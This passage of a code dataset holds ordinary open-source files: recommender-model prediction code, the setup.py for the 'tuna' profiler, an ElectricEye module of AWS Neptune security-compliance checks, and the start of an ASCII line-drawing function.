time: %f]\" % (epoch, total_loss/num_training_instances,\n time()-training_start_time))\n if epoch % self.verbose == 0:\n self.logger.info(\"epoch %d:\\t%s\" % (epoch, self.evaluate()))\n\n # @timer\n def evaluate(self):\n return self.evaluator.evaluate(self)\n\n def predict(self, user_ids, candidate_items_userids=None):\n ratings = []\n if candidate_items_userids is not None:\n for u, i in zip(user_ids, candidate_items_userids):\n users = np.full(len(i), u, dtype=np.int32)\n feed_dict = {self.user_input: users, self.item_input: i}\n ratings.append(self.sess.run(self.output, feed_dict=feed_dict))\n else:\n for u in user_ids:\n users = np.full(self.num_items, u, dtype=np.int32)\n feed_dict = {self.user_input: users, self.item_input: np.arange(self.num_items)}\n ratings.append(self.sess.run(self.output, feed_dict=feed_dict))\n return ratings\n", "source": "jasonshere/NeuRec", "license": "MIT"} {"text": "import codecs\nimport os\n\nfrom setuptools import find_packages, setup\n\n# https://packaging.python.org/single_source_version/\nbase_dir = os.path.abspath(os.path.dirname(__file__))\nabout = {}\nwith open(os.path.join(base_dir, \"tuna\", \"__about__.py\"), \"rb\") as f:\n exec(f.read(), about)\n\n\ndef read(fname):\n with codecs.open(os.path.join(base_dir, fname), encoding=\"utf-8\") as f:\n return f.read()\n\n\nsetup(\n name=\"tuna\",\n version=about[\"__version__\"],\n author=about[\"__author__\"],\n author_email=about[\"__author_email__\"],\n packages=find_packages(),\n description=\"Visualize Python profiles in the browser\",\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/nschloe/tuna\",\n license=about[\"__license__\"],\n platforms=\"any\",\n python_requires=\">=3\",\n classifiers=[\n about[\"__status__\"],\n about[\"__license__\"],\n \"Intended Audience :: Developers\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Software Development :: User Interfaces\",\n ],\n entry_points={\"console_scripts\": [\"tuna = tuna.cli:main\"]},\n package_data={\n \"tuna\": [\n \"web/*.html\",\n \"web/static/*.js\",\n \"web/static/*.css\",\n \"web/static/favicon256.png\",\n ]\n },\n)\n", "source": "mimischi/tuna", "license": "MIT"} {"text": "#This file is part of ElectricEye.\n#SPDX-License-Identifier: Apache-2.0\n\n#Licensed to the Apache Software Foundation (ASF) under one\n#or more contributor license agreements. See the NOTICE file\n#distributed with this work for additional information\n#regarding copyright ownership. The ASF licenses this file\n#to you under the Apache License, Version 2.0 (the\n#\"License\"); you may not use this file except in compliance\n#with the License. You may obtain a copy of the License at\n\n#http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing,\n#software distributed under the License is distributed on an\n#\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n#KIND, either express or implied. See the License for the\n#specific language governing permissions and limitations\n#under the License.\n\nimport boto3\nimport datetime\nfrom check_register import CheckRegister\n\nregistry = CheckRegister()\n\n# import boto3 clients\nneptune = boto3.client(\"neptune\")\n\n# loop through neptune instances\ndef describe_db_instances(cache):\n response = cache.get(\"describe_db_instances\")\n if response:\n return response\n cache[\"describe_db_instances\"] = neptune.describe_db_instances(\n Filters=[{\"Name\": \"engine\", \"Values\": [\"neptune\"]}]\n )\n return cache[\"describe_db_instances\"]\n\n@registry.register_check(\"neptune\")\ndef neptune_instance_multi_az_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[Neptune.1] Neptune database instances should be configured to be highly available\"\"\"\n neptune_instances = describe_db_instances(cache)\n for instances in neptune_instances[\"DBInstances\"]:\n neptuneInstanceArn = str(instances[\"DBInstanceArn\"])\n neptuneDbId = str(instances[\"DBInstanceIdentifier\"])\n mutliAzCheck = str(instances[\"MultiAZ\"])\n iso8601Time = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n if mutliAzCheck == \"False\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-ha-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"LOW\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.1] Neptune database instances should be configured to be highly available\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" does not have Multi-AZ enabled and thus is not highly available. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune High Availability and how to configure it refer to the High Availability for Neptune section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/feature-overview-availability.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.BE-5\",\n \"NIST CSF PR.PT-5\",\n \"NIST SP 800-53 CP-2\",\n \"NIST SP 800-53 CP-11\",\n \"NIST SP 800-53 SA-13\",\n \"NIST SP 800-53 SA14\",\n \"AICPA TSC CC3.1\",\n \"AICPA TSC A1.2\",\n \"ISO 27001:2013 A.11.1.4\",\n \"ISO 27001:2013 A.17.1.1\",\n \"ISO 27001:2013 A.17.1.2\",\n \"ISO 27001:2013 A.17.2.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-ha-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.1] Neptune database instances should be configured to be highly available\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" is highly available.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune High Availability and how to configure it refer to the High Availability for Neptune section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/feature-overview-availability.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF ID.BE-5\",\n \"NIST CSF PR.PT-5\",\n \"NIST SP 800-53 CP-2\",\n \"NIST SP 800-53 CP-11\",\n \"NIST SP 800-53 SA-13\",\n \"NIST SP 800-53 SA14\",\n \"AICPA TSC CC3.1\",\n \"AICPA TSC A1.2\",\n \"ISO 27001:2013 A.11.1.4\",\n \"ISO 27001:2013 A.17.1.1\",\n \"ISO 27001:2013 A.17.1.2\",\n \"ISO 27001:2013 A.17.2.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n\n@registry.register_check(\"neptune\")\ndef neptune_instance_storage_encryption_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[Neptune.2] Neptune database instace storage should be encrypted\"\"\"\n neptune_instances = describe_db_instances(cache)\n for instances in neptune_instances[\"DBInstances\"]:\n neptuneInstanceArn = str(instances[\"DBInstanceArn\"])\n neptuneDbId = str(instances[\"DBInstanceIdentifier\"])\n storageEncryptionCheck = str(instances[\"StorageEncrypted\"])\n iso8601Time = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n if storageEncryptionCheck == \"False\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-storage-encryption-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"Effects/Data Exposure\",\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"HIGH\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.2] Neptune database instace storage should be encrypted\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" does not have storage encryption enabled. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune storage encryption and how to configure it refer to the Enabling Encryption for a Neptune DB Instance section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/encrypt.html#encrypt-enable\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-1\",\n \"NIST SP 800-53 MP-8\",\n \"NIST SP 800-53 SC-12\",\n \"NIST SP 800-53 SC-28\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-storage-encryption-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"Effects/Data Exposure\",\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.2] Neptune database instace storage should be encrypted\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" has storage encryption enabled.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune storage encryption and how to configure it refer to the Enabling Encryption for a Neptune DB Instance section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/encrypt.html#encrypt-enable\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-1\",\n \"NIST SP 800-53 MP-8\",\n \"NIST SP 800-53 SC-12\",\n \"NIST SP 800-53 SC-28\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n\n@registry.register_check(\"neptune\")\ndef neptune_instance_iam_authentication_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[Neptune.3] Neptune database instaces storage should use IAM Database Authentication\"\"\"\n neptune_instances = describe_db_instances(cache)\n for instances in neptune_instances[\"DBInstances\"]:\n neptuneInstanceArn = str(instances[\"DBInstanceArn\"])\n neptuneDbId = str(instances[\"DBInstanceIdentifier\"])\n iamDbAuthCheck = str(instances[\"IAMDatabaseAuthenticationEnabled\"])\n iso8601Time = datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n if iamDbAuthCheck == \"False\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-iam-db-auth-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"Effects/Data Exposure\",\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.3] Neptune database instaces storage should use IAM Database Authentication\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" does not use IAM Database Authentication. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune IAM Database Authentication and how to configure it refer to the Neptune Database Authentication Using IAM section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/iam-auth.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-6\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 AC-3\",\n \"NIST SP 800-53 AC-16\",\n \"NIST SP 800-53 AC-19\",\n \"NIST SP 800-53 AC-24\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 PE-2\",\n \"NIST SP 800-53 PS-3\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.7.1.1\",\n \"ISO 27001:2013 A.9.2.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": neptuneInstanceArn + \"/neptune-instance-iam-db-auth-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": neptuneInstanceArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\n \"Software and Configuration Checks/AWS Security Best Practices\",\n \"Effects/Data Exposure\",\n ],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.3] Neptune database instaces storage should use IAM Database Authentication\",\n \"Description\": \"Neptune database instance \"\n + neptuneDbId\n + \" uses IAM Database Authentication.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on Neptune IAM Database Authentication and how to configure it refer to the Neptune Database Authentication Using IAM section of the Amazon Neptune User Guide\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/iam-auth.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneInstance\",\n \"Id\": neptuneInstanceArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"InstanceId\": neptuneDbId}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.AC-6\",\n \"NIST SP 800-53 AC-1\",\n \"NIST SP 800-53 AC-2\",\n \"NIST SP 800-53 AC-3\",\n \"NIST SP 800-53 AC-16\",\n \"NIST SP 800-53 AC-19\",\n \"NIST SP 800-53 AC-24\",\n \"NIST SP 800-53 IA-1\",\n \"NIST SP 800-53 IA-2\",\n \"NIST SP 800-53 IA-4\",\n \"NIST SP 800-53 IA-5\",\n \"NIST SP 800-53 IA-8\",\n \"NIST SP 800-53 PE-2\",\n \"NIST SP 800-53 PS-3\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.7.1.1\",\n \"ISO 27001:2013 A.9.2.1\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n\n@registry.register_check(\"neptune\")\ndef neptune_cluster_parameter_ssl_enforcement_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[Neptune.4] Neptune cluster parameter groups should enforce SSL connections to Neptune databases\"\"\"\n response = neptune.describe_db_cluster_parameter_groups()\n for parametergroup in response[\"DBClusterParameterGroups\"]:\n parameterGroupName = str(parametergroup[\"DBClusterParameterGroupName\"])\n parameterGroupArn = str(parametergroup[\"DBClusterParameterGroupArn\"])\n response = neptune.describe_db_cluster_parameters(\n DBClusterParameterGroupName=parameterGroupName\n )\n for parameters in response[\"Parameters\"]:\n if str(parameters[\"ParameterName\"]) == \"neptune_enforce_ssl\":\n sslEnforcementCheck = str(parameters[\"ParameterValue\"])\n iso8601Time = (\n datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n )\n if sslEnforcementCheck == \"0\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": parameterGroupArn\n + \"/neptune-cluster-param-group-ssl-enforcement-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": parameterGroupArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.4] Neptune cluster parameter groups should enforce SSL connections to Neptune databases\",\n \"Description\": \"Neptune cluster parameter group \"\n + parameterGroupName\n + \" does not enforce SSL connections. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on enforcing SSL/HTTPS connections to Neptune instances refer to the Encryption in Transit: Connecting to Neptune Using SSL/HTTPS section of the Amazon Neptune User Guide.\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/security-ssl.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneParameterGroup\",\n \"Id\": parameterGroupArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ParameterGroupName\": parameterGroupName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-2\",\n \"NIST SP 800-53 SC-8\",\n \"NIST SP 800-53 SC-11\",\n \"NIST SP 800-53 SC-12\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n \"ISO 27001:2013 A.13.1.1\",\n \"ISO 27001:2013 A.13.2.1\",\n \"ISO 27001:2013 A.13.2.3\",\n \"ISO 27001:2013 A.14.1.2\",\n \"ISO 27001:2013 A.14.1.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": parameterGroupArn\n + \"/neptune-cluster-param-group-ssl-enforcement-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": parameterGroupArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.4] Neptune cluster parameter groups should enforce SSL connections to Neptune databases\",\n \"Description\": \"Neptune cluster parameter group \"\n + parameterGroupName\n + \" enforces SSL connections.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on enforcing SSL/HTTPS connections to Neptune instances refer to the Encryption in Transit: Connecting to Neptune Using SSL/HTTPS section of the Amazon Neptune User Guide.\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/security-ssl.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneParameterGroup\",\n \"Id\": parameterGroupArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ParameterGroupName\": parameterGroupName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-2\",\n \"NIST SP 800-53 SC-8\",\n \"NIST SP 800-53 SC-11\",\n \"NIST SP 800-53 SC-12\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n \"ISO 27001:2013 A.13.1.1\",\n \"ISO 27001:2013 A.13.2.1\",\n \"ISO 27001:2013 A.13.2.3\",\n \"ISO 27001:2013 A.14.1.2\",\n \"ISO 27001:2013 A.14.1.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n else:\n pass\n\n@registry.register_check(\"neptune\")\ndef neptune_cluster_parameter_audit_log_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[Neptune.5] Neptune cluster parameter groups should enforce audit logging for Neptune databases\"\"\"\n response = neptune.describe_db_cluster_parameter_groups()\n for parametergroup in response[\"DBClusterParameterGroups\"]:\n parameterGroupName = str(parametergroup[\"DBClusterParameterGroupName\"])\n parameterGroupArn = str(parametergroup[\"DBClusterParameterGroupArn\"])\n response = neptune.describe_db_cluster_parameters(\n DBClusterParameterGroupName=parameterGroupName\n )\n for parameters in response[\"Parameters\"]:\n if str(parameters[\"ParameterName\"]) == \"neptune_enable_audit_log\":\n auditLogCheck = str(parameters[\"ParameterValue\"])\n iso8601Time = (\n datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()\n )\n if auditLogCheck == \"0\":\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": parameterGroupArn\n + \"/neptune-cluster-param-group-audit-logging-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": parameterGroupArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.5] Neptune cluster parameter groups should enforce audit logging for Neptune databases\",\n \"Description\": \"Neptune cluster parameter group \"\n + parameterGroupName\n + \" does not enforce audit logging. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on audit logging for Neptune instances refer to the Enabling Neptune Audit Logs section of the Amazon Neptune User Guide.\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/auditing.html#auditing-enable\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneParameterGroup\",\n \"Id\": parameterGroupArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ParameterGroupName\": parameterGroupName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": parameterGroupArn\n + \"/neptune-cluster-param-group-audit-logging-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": parameterGroupArn,\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[Neptune.5] Neptune cluster parameter groups should enforce audit logging for Neptune databases\",\n \"Description\": \"Neptune cluster parameter group \"\n + parameterGroupName\n + \" enforces audit logging.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"For more information on audit logging for Neptune instances refer to the Enabling Neptune Audit Logs section of the Amazon Neptune User Guide.\",\n \"Url\": \"https://docs.aws.amazon.com/neptune/latest/userguide/auditing.html#auditing-enable\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsNeptuneParameterGroup\",\n \"Id\": parameterGroupArn,\n \"Partition\": awsPartition,\n \"Region\": awsRegion,\n \"Details\": {\"Other\": {\"ParameterGroupName\": parameterGroupName}},\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF DE.AE-3\",\n \"NIST SP 800-53 AU-6\",\n \"NIST SP 800-53 CA-7\",\n \"NIST SP 800-53 IR-4\",\n \"NIST SP 800-53 IR-5\",\n \"NIST SP 800-53 IR-8\",\n \"NIST SP 800-53 SI-4\",\n \"AICPA TSC CC7.2\",\n \"ISO 27001:2013 A.12.4.1\",\n \"ISO 27001:2013 A.16.1.7\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding\n else:\n pass", "source": "kbhagi/ElectricEye", "license": "Apache-2.0"} {"text": "import random\nimport math\n\ndef line(x1,y1,x2,y2, char):\n #draws line from.(x1,y1) to (x2,y2) both points included using char\n #if char == 'auto' selects /\\|- according to orientation \n #if char is 'random' pick a random char!\n buffer = ''\n\n if x2 < x1:\n xoff = x2\n else: \n xoff = x1\n if y2 < y1:\n yoff = y2\n else: \n yoff = y1\n buffer = yoff * '\\n'\n if (x2-x1 == 0):\n #vertical div by zero\n # print(\"vertical!\")\n rc = 1000000\n else:\n rc = (y2-y1)/(x2-x1)\n # print(\"rico = \", rc)\n\n if rc < 0:\n # xoff = xoff + min(x1,x2)\n # print (\"x1= \" ,x1) \n # print (\"x2= \" ,x2) \n xoff = xoff + abs(x2-x1)\n\n if char == 'auto':\n if -4 < rc <= -0.25:\n char = \"/\"\n if -0.25 < rc <= 0.25:\n char = '-'\n if 0.25 < rc <= 4:\n char = '\\\\'\n if abs(rc) > 4:\n char = '|'\n \n if char == 'random':\n chars = ['!','#','%','^', '&', '}', \"o\", \">\", \"~\"]\n char = chars[random.randint(len(chars))-1]\n\n if y2 > y1:\n for j in range(y2-y1+1):\n if rc == 0:\n x = x1\n else: \n x = j/rc + xoff\n if x >= 0:\n line = int(x) * ' ' + char\n else:\n line = ''\n buffer = buffer + line + '\\n'\n if y2 < y1:\n for j in range(y1-y2+1):\n if rc == 0:\n x = x1\n else:\n x = j/rc + xoff\n if x >= 0:\n line = int(x) * ' ' + char\n else:\n line = ''\n buffer = buffer + line + '\\n'\n if y1 == y2:\n # print(\"horizontal!\")\n if x1 < 1:\n x1 = 1\n if x2 < 1:\n x2 = 1\n line = ' ' * (xoff) + (abs(x2-x1)+1) * char\n buffer = buffer + line + '\\n'\n\n # print(\"done\")\n return buffer\n\n\n# k = line(16,2, 10, 